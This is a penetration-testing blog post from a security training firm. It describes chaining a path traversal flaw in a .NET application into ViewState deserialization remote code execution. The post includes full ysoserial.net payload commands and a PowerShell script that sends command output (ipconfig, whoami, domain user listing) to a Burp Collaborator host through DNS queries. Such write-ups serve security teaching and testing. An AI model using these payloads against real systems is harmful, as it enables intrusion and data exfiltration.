Path Traversal to Remote Code Execution

In this blog post, Sanjay from the NotSoSecure Training team describes an interesting project where he starts with a path traversal vulnerability, and chains multiple vulnerabilities to achieve remote code execution (RCE) in a .NET web application.

    In this post, we cover the following important ideas

  • Use of Path Traversal vulnerability to read web.config file
  • Use of the MachineKey obtained from web.config
  • The concept that there can be multiple nested .NET applications, each with its own web.config file
  • Exploiting ViewState Deserialization vulnerability to achieve RCE
  • Use of DNS queries to exfiltrate the results of RCE

While the first four ideas are applicable specifically to .NET applications, the use of DNS queries for exfiltration applies to any web application.

Background:

The team at NotSoSecure Training was recently engaged in a web application penetration test. We were provided with a single in-scope URL and credentials to access the target application as one single user.

Based on the initial recon, we identified that this was a .NET application. Our readers will already be aware that the configuration information for .NET applications is usually stored in the web.config file. Often a lot of useful information can be obtained if we are able to access this file.

We start our story when we have already identified a GET parameter (“f” - shown in the screenshot below) that was vulnerable to Path Traversal. This allows us to access files stored as a part of the web application.

This being a .NET application, we exploited this vulnerability to extract the contents of the web.config file. However, this file did not contain any sensitive information that we could use in further exploitation. It did not contain any MachineKey information either. This meant our target application used the default MachineKey generated based on System configuration and hence it was not available in web.config file.

MachineKey, ViewState and RCE:

Now, there is the concept of MachineKey in .NET which has information about encryption and decryption of .NET component like, OwinCookie, ASPXAUTH cookie, ViewState and many more.

Reference: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/w8h3skw9(v=vs.100)

When a .NET application uses the ViewState functionality, the MachineKey becomes very useful to obtain remote code execution (RCE) on the application server. Therefore when testing a .NET application, a pentester should try:

1. Check whether the application uses ViewState
2. If Yes, then look for MachineKey used to encrypt the ViewState

We used the BurpSuite search feature to find "ViewState" keyword and found a request which has ViewState. The path shown is "/legacy/ias/.aspx"

Application within an application with its own web.config:

It is possible to create an application within an application whereby you can create any subdirectory of the root application to an application as shown in figure. and which can be accessed using the appropriate URL.

Note: The following screenshot shows this concept in a PC-local environment where Demo2 is an application within a Demo1 application.

Now, based on the concept shown above, there might be a possibility that the "/legacy" (referred in the ViewState path above) represents another application inside the root web application.

If this is the case, then it might have its own web.config file.

This turned out to be true. When we tried to access the web.config file inside the legacy application using path traversal vulnerability, we were able to extract the web.config file which contained MachineKey information.

This meets the key requirements to perform a ViewState deserialization RCE exploit.

  • MachineKey.
  • Page having a ViewState information.

Even then, since the application uses .NET version > 4.5, the payload generation for the exploit is not straightforward. The encryption and decryption dependencies require additional tooling.

We used our tool Blacklist3r, developed by the NotSoSecure team for this purpose. On Decryption were able to find the "IISDirPath" and "TargetPagePath" for which this ViewState was generated.

Based on the following information

  • MachineKey
    • Validation Key
    • Validation Algorithm
    • Decryption Key
    • Decryption Algorithm
  • Target Page Path
  • IIS Dir Path

We used the YSoSerial.NET utility (reference: https://github.com/pwntester/ysoserial.net ) to generate the "ViewState Deserialization" payload to get out of band call in Burp collaborator.

Note: Using Burp Collaborator is an essential skill for web application pentesters. There are numerous resources available on this topic, so we skip explaining those parts in this post.

ysoserial.exe -p ViewState  -g TypeConfuseDelegate -c "powershell.exe Invoke-WebRequest -Uri http://1hjt31jylnmhx2arhc2bw5ppqgw6kv.burpcollaborator.net" --path="/legacy/ias/xxxxxwelcome.aspx" --apppath="/legacy" --decryptionalg="AES" --decryptionkey="XXXX"  --validationalg="SHA1" --validationkey="XXXXXX"

We used the payload generated in the above step and passed it to the request that has a ViewState parameter in it that. Now the application responded with a "HTTP 500 error message".

Even though it is an HTTP 500 error, it is possible that our ViewState payload was executed, but the subsequent execution flow caused the error. As a pentester, our next task to extract the output of the command we embedded in the payload.

We received a call from the server which shows that your domain name was resolved by the server, which means our payload gets executed on the server.

Now, even though we passed an HTTP request in the payload, we only received DNS calls in the Burp Collaborator. One of the possible reasons for not getting the HTTP calls from the server could be that the server might be blocking the outbound HTTP calls. The next step is therefore to use non-HTTP (e.g., DNS) traffic to exfiltrate output (or data).

We now attempt to fetch data using DNS data exfiltration technique. There is a NotSoSecure blog post written on this topic that goes into the details: https://notsosecure.com/out-band-exploitation-oob-cheatsheet

Based on this we created a payload to fetch data using a two-step process:
- Store the command output in temporary file
- Fetch the output from the file and send it using DNS queries

Store the command output in temporary file

As before, we use the YSoSerial.NET tools to generate the required payload:

ysoserial.exe -p ViewState  -g TypeConfuseDelegate -c "cmd.exe /v /c ipconfig > C:\Windows\Temp\outputX && certutil -encodehex -f C:\Windows\Temp\outputX C:\Windows\Temp\outputX.hex 4" --path="/legacy/ias/xxxxxxxwelcome.aspx" --apppath="/legacy" --decryptionalg="AES" --decryptionkey="XXXXX"  --validationalg="SHA1" --validationkey="XXXXX"

We sent the generated payload to the server (using the ViewState parameter as before).

In this attempt, we were not able to access the temporary file using the path traversal vulnerability, so there might be a possibility that file access is restricted to within the application directory tree. That presents us with one more barrier, so it is time to try a different technique - a bit more convoluted but works on the same principles.

Fetch the output from the file and receive it using DNS calls.

Generate PowerShell base64 payload in order to get DNS calls in "Burp collaborator"

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('
$text=Get-Content C:\Windows\Temp\outputX.hex;$subdomain=$text.replace(" ","");
$j=11111;
foreach($i in $subdomain)
{
$final=$j.tostring()+"."+$i+".file.3bfdgfwypnekhzqv2v2gnkzybphf54.burpcollaborator.net";
$j += 1;
Start-Process -NoNewWindow nslookup $final
}
'))

We again used YSoSerial.NET tools to generate payload to get "ipconfig" output in DNS calls of "Burp collaborator" where within the -c command argument we have passed the powershell encoded payload generated in above step:

ysoserial.exe -p ViewState  -g TypeConfuseDelegate -c "powershell.exe -encodedCommand $BASE64_OUTPUT_OF_ABOVE_COMMAND$" --path="/legacy/ias/xxxxxxwelcome.aspx" --apppath="/legacy" --decryptionalg="AES" --decryptionkey="XXXXX"  --validationalg="SHA1" --validationkey="XXXXX"

We sent the payload generated in the above step in the ViewState parameter in an HTTP request.

We received multiple DNS calls on our Burp Collaborator client. Each call has the hex encoded output of the (ipconfig) command we execute. This indicates RCE success!

We then collected all the DNS calls and saved it into one file.

Based on hex decoding, we were able to get the "ipconfig" command output from the data stored in the temporary file stored on the server.

Using the same technique, we were able to extract the output of the whoami command.

Eventually using the same technique, we were able to extract the output of the "net user prodweb /domain" command.

This concludes our Path Traversal to RCE story for advanced web application pentesters. Was this helpful? Do let us know.

The penetration testing team at NotSoSecure Training writes about advanced hacking techniques used in actual testing projects. Unlike simplified hypothetical examples, these illustrate practical challenges pentesters face and how these may be overcome.

If you would like to learn more about such techniques and practice them in our labs, please vist out training page https://www.claranetcybersecurity.com/events where you can enroll in our Web Hacking BlackBelt Edition course as well as many other courses.